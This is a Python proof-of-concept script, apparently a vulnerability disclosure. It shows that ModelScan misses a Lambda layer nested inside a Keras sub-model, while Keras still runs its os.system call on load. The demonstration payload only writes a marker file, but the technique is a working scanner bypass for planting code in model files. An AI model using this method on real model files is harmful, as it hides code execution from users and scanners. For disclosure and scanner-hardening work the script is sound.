File size: 3,810 Bytes
bb03a81 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | #!/usr/bin/env python
"""
ModelScan Bypass: Arbitrary Code Execution in a .keras model file
==================================================================
ModelScan's KerasLambdaDetectScan flags malicious Lambda layers, but it only
inspects the FLAT, top-level `config.layers` list and matches class_name=="Lambda"
exactly (modelscan/scanners/keras/scan.py:119-130). It never recurses into a
nested sub-model. A Lambda hidden one level deep inside a sub-model is therefore
invisible to the scanner, yet Keras still deserializes and executes it on load.
Requires: pip install 'modelscan[tensorflow]' tensorflow keras
Run: python exploit.py
"""
import os, sys, json, zipfile
import keras
from keras.layers import Input, Lambda
# Benign proof: writes a marker file on load. The command literal is INLINE so the
# marshalled lambda is self-contained (no external globals lost on deserialization).
MARKER = "keras_poc_executed.txt"
PAYLOAD = (lambda x: x + __import__("os").system(
"echo MODELSCAN-KERAS-NESTED-BYPASS > keras_poc_executed.txt") * 0)
def build_flat(path):
"""A normal (flat) malicious Lambda — ModelScan DETECTS this."""
inp = Input(shape=(2,))
out = Lambda(PAYLOAD)(inp)
keras.Model(inp, out, name="flat").save(path)
def build_nested(path):
"""The SAME Lambda hidden one level deep — ModelScan MISSES this."""
i_in = Input(shape=(2,))
i_out = Lambda(PAYLOAD)(i_in)
inner = keras.Model(i_in, i_out, name="inner_submodel")
o_in = Input(shape=(2,))
keras.Model(o_in, inner(o_in), name="outer").save(path)
def top_level_classes(path):
with zipfile.ZipFile(path) as z:
cfg = json.loads(z.read("config.json"))
return [l.get("class_name") for l in cfg.get("config", {}).get("layers", [])]
def scan(path):
from modelscan.modelscan import ModelScan
ms = ModelScan(); ms.scan(path)
return len(ms.issues.all_issues)
def main():
print("=" * 70)
print(" ModelScan Bypass - ACE in .keras via NESTED Lambda layer")
print(" CWE-693 + CWE-502 | Keras 3.x / modelscan 0.8.8")
print("=" * 70)
# [Baseline] Flat malicious Lambda — proves the scanner DOES work
build_flat("flat_model.keras")
flat_issues = scan("flat_model.keras")
print("\n[Baseline] Flat Lambda model:")
print(" top-level layers:", top_level_classes("flat_model.keras"))
print(" ModelScan:", flat_issues, "issue(s) ->",
"DETECTED (scanner works)" if flat_issues else "missed")
# [1] The bypass: identical Lambda nested inside a sub-model
build_nested("model.keras")
print("\n[1] Built malicious model: model.keras (Lambda nested in sub-model)")
print(" top-level layers:", top_level_classes("model.keras"))
# [2] Defender scans it -> 0 issues
nested_issues = scan("model.keras")
print("\n[2] Defender scans it with ModelScan:")
print(" verdict:", "No issues found (BYPASS)" if nested_issues == 0
else f"DETECTED ({nested_issues})")
# [3] Victim loads the 'clean' model -> code runs
if os.path.exists(MARKER):
os.unlink(MARKER)
print("\n[3] Victim loads the model: keras.saving.load_model(..., safe_mode=False)")
keras.saving.load_model("model.keras", safe_mode=False, compile=False)
# [4] Verify
confirmed = os.path.exists(MARKER)
print("\n[4] Result:", "CODE EXECUTED ON LOAD" if confirmed else "no execution")
if confirmed:
print(" proof file:", MARKER, "->", open(MARKER).read().strip())
ok = (flat_issues > 0) and (nested_issues == 0) and confirmed
print("\n" + "=" * 70)
print(" STATUS:", "CONFIRMED (flat caught, nested clean + ACE on load)" if ok
else "UNCONFIRMED")
print("=" * 70)
return ok
if __name__ == "__main__":
sys.exit(0 if main() else 1)
|